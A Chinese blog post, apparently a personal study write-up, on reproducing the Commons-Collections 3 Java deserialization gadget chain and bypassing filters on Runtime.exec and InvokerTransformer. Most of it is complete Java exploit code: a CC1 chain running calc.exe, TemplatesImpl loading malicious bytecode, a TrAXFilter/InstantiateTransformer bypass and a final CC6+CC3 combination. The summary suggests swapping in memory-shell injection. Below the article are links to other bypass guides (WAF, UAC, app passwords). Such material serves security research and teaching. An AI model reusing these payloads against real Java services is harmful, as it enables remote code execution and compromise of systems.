关于cc3复现以及绕过思路

(文章简略许多,可以的话,可以看看之前之前发布的文章)

绕过思路:动态加载字节码绕过Runtime,exec被过滤

在前面两个篇章中我们学习了cc1,cc6和动态加载字节码;

我们都知道ccl链大多都是调用链最终调用到transform函数,在这个函数的构造中我们知道必不可少的部分是反射获取Runtime函数;然后也使用InvokerTransformer函数执行;

如果exec,Runtime.class等函数被ban了呢?

那就不得不引入我么学过的动态加载字节码了;

先看demo;这是cc1的 TransformedMap,触发点是setvalue,使用AnnotationInvocationHandler中的setvalue,和checksetValue;

package org.com.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*; import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner; public class CommonCollections3 { public static void main(String[] args) {
//Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}), };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outtermap = TransformedMap.decorate(innermap,null,transformerChain);
try{
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Retention.class,outtermap);
// outtermap.put("1","1"); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

如果这个payload中的InvokerTransformer被ban了,该如何触发

结合之前的动态加载字节码;我们尝试使用TemplatesImpl字节码

只需要将这两个poc拼接一下即可,然后替换反射获取Runtime的部分替换成获取newTransformer即可,完整payload

package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*; import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class CommonCollections3 { public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); // templates.newTransformer(); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",new Class[0],new Object[0]), /* new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),*/ };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outtermap = TransformedMap.decorate(innermap,null,transformerChain);
try{
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Retention.class,outtermap);
// outtermap.put("1","1"); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

但你会发现在cc3中没有使用 InvokerTransformer

假设过滤了InvokerTransformer,该如何绕过呢?

​ 其实只需要找到其他实现了接口的类即可InvokerTransformer;在ysoserial使用了TrAXFilter;可以看到这里调用了newTransformer()

绕过思路:TrAXFilter绕过 InvokerTransformer

只需要改变Transformer[]为一下代码即可

new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
)

由于我们不能用InvokerTransformer调用其构造函数,所以替换使用InstantiateTransformer,在 ChainedTransformer组合多个transform方法时会调用其中的transform方法,返回一个TrAXFilter.class对象;其实这个函数的作用就是调用类的构造方法

完整payload

package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*; import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javax.xml.transform.Templates; public class CommonCollections3 { public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); // templates.newTransformer(); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
) /* new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),*/ };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outtermap = TransformedMap.decorate(innermap,null,transformerChain);
try{
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Retention.class,outtermap);
// outtermap.put("1","1"); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

但其实这只能是cc1的绕过版;不能解决java版本问题

这里再拼接一下cc6;

进行改进;

最终payload

package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*; import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javax.xml.transform.Templates; public class CommonCollections3 { public static void main(String[] args) throws Exception { //动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); // templates.newTransformer();
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
) /* new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),*/ };
Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();//清空map Field field=ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,transformers);
// outtermap.put("1","1"); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(expMap);
oss.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

总结:

绕过Runtime,exec等,这里使用动态加载字节码的形式;

绕过InvokerTransformer 这里使用:TrAXFilter类与InstantiateTransformer获取其构造器;

绕过版本限制,使用cc6+cc3形式;

事实上,针对不同的限制与过滤,可以进行多种多种不同的组合,比如说,命令执行的部分,或许可以替换成注入内存马的形式;

其实到目前为止,我们可以看到,其实反序列化步骤有3个部分;(链式调用)

1.注入

transform链,是要注入的主体,根据需要注入命令,字节码,内存马等我们要注入的恶意"指令";,也许可以利用加载远程的字节码;如RMI等(但字节码可以直接注入的情况下,一般考虑直接注入)

2.触发链

在这个版本(链式调用)中,这部分也可以理解为载荷,用以装载我们的"恶意指令"要利用的大都是调用了transform函数的类;我们,这里需要找到一条调用链进行组装;使其可以最后调用到transform函数;就比如各种cc链中的如LazyMap,TransformedMap等;

3.组合拳绕过

最重要的就是拼接和替换比如上诉例子中就使用了多种拼接进行绕过;动态加载字节码+cc6+TrAXFilter类,InstantiateTransformer绕过InvokerTransformer

最后要发散思维;java的反序列化很自由,可以进行多种组合,最终目的都是加载我们的"恶意指令";

因此我认为在java学习中;利用思维也很重要;这个让我们学会一种漏洞利用的思路,如何进行组装攻击路径;进行利用;

最后,学会独立思考;

----------------------备注--------------------------------

参考:p牛->知识星球->代码审计->java系列文章

关于cc3复现以及绕过思路的更多相关文章

  1. 28.【转载】挖洞技巧:APP手势密码绕过思路总结

    说到APP手势密码绕过的问题,大家可能有些从来没接触过,或者接触过,但是思路也就停留在那几个点上,这里我总结了我这1年来白帽子生涯当中所挖掘的关于这方面的思路,有些是网上已经有的,有些是我自己不断摸索 ...

  2. 记一次APP渗透登录验证绕过思路

    前言: 起初是抓包时候查看返回状态码不一致,所以觉得是否可以通过修改状态码来达到绕过的目的,但是拦截响应包再替换手速不够,技术大哥就去搜了下,找到了一个方法,可以自动替换响应包内容. 在偏下方一点的地 ...

  3. 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路

    概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...

  4. UAC绕过思路(未完)

    ---恢复内容开始--- What is UAC?

  5. 关于父进程和子进程的关系(UAC 绕过思路)

    表面上看.在windows中. 假设是a进程创建了b进程,那么a进程就是b进程的父进程.反之,假设是b创建了a,那么b进程就是a的父进程,这是在windows出现以来一直是程序员们都证实的,可是在在w ...

  6. 存储型XSS的发现经历和一点绕过思路

    再次骚扰 某SRC提现额度竟然最低是两千,而已经有750的我不甘心呐,这不得把这2000拿出来嘛. 之后我就疯狂的挖这个站,偶然发现了一个之前没挖出来的点,还有个存储型XSS! 刚开始来到这个之前挖过 ...

  7. 常见WAF绕过思路

    WAF分类 0x01 云waf 在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机. 0x02 ...

  8. JS反爬绕过思路之--谷歌学术镜像网链接抓取

    首先,从问题出发: http://ac.scmor.com/ 在谷歌学术镜像网收集着多个谷歌镜像的链接.我们目标就是要把这些链接拿到手. F12查看源码可以发现,对应的a标签并不是我们想要的链接,而是 ...

  9. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  10. java高版本下各种JNDI Bypass方法复现

    目录 0 前言 1 Java高版本JNDI绕过的源代码分析 1.1 思路一的源码分析 1.2 思路二的源码分析 2 基于本地工厂类的利用方法 2.1 org.apache.naming.factory ...

随机推荐

  1. (Python)用栈实现计算器的原理及实现

    前言 我们日常使用的计算器是怎么实现计算的呢?能自己判断运算符的优先级去计算,能处理括号的匹配,这些都是怎么实现的呢? 一个大家熟知的答案是用栈,好的,那么为什么要用栈?为什么栈能实现呢? 目录 前言 ...

  2. MongoDB 简单介绍

    MongoDB介绍 疑问 解答 什么是 MongoDB 一个以 JSON 为数据模型的文档数据库 为什么叫文档数据库? 文档来自于 "JSON Document",并非我们一般理解 ...

  3. Sql 字符串截取

    注意 不同数据库内置函数名称或有差异,可参考 1.从左至右截取 ①使用left()函数可以从左至右对字符串进行截取 语法:LEFT(str,length) str是要进行截取的字符串,length是要 ...

  4. 关于IPMP

    国际项目经理资质认证(International Project Manager Professional,简称IPMP)是国际项目管理协会(International Project Managem ...

  5. 配置win + ubuntu双系统需要注意的一些点

    配置win + ubuntu双系统需要注意的一些点 基本上是按照B站机器人工匠阿杰的视频来的,但是有一些需要注意的点值得关注. 关闭RST 首先是比较新的电脑bios里会有一个叫做英特尔 快速存储技术 ...

  6. MySQL-SQL调优-引擎选错索引或者不使用索引分析 和 字符串加索引的方式思考

    优化器生成最优执行计划需要考虑的因素 MySQL有一个优化器,专门负责生成最优的查询计划,生成最优查询计划可能考虑的因素有: 扫描行数 是否排序 是否需要回表 是否需要临时表 等等 在不同的因素作用下 ...

  7. 《HelloGitHub》第 108 期

    兴趣是最好的老师,HelloGitHub 让你对开源感兴趣! 简介 HelloGitHub 分享 GitHub 上有趣.入门级的开源项目. github.com/521xueweihan/HelloG ...

  8. Lua程序设计笔记

    未学:第10章URL编码及以后的示例 13章位和字节 Lua语言基础 一组命令或表达式组成的序列叫chunk程序段,因为Lua语言可以被用作数据定义语言,chunk的大小没有限制,几MB的程序段也很常 ...

  9. 【Python】词频统计

    需求:一篇文章,出现了哪些词?哪些词出现得最多? 英文文本词频统计 英文文本:Hamlet 分析词频 统计英文词频分为两步: 文本去噪及归一化 使用字典表达词频 代码: #CalHamletV1.py ...

  10. java开发中简简单单的全局异常处理

    今天吃饭时,被公司新来的同事问道:"项目controller层里好多都没写try,catch,难道异常不用处理吗?".虽然正吃饭时被打扰,让我很讨厌,但是既然他诚心诚意的问了,本着 ...